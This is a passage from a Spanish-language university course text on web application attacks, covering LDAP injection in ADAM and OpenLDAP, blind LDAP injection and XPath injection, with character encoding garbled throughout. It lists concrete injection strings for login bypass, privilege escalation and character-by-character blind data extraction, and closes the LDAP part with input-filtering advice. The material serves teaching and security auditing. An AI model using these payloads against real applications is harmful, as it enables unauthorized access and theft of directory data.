implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
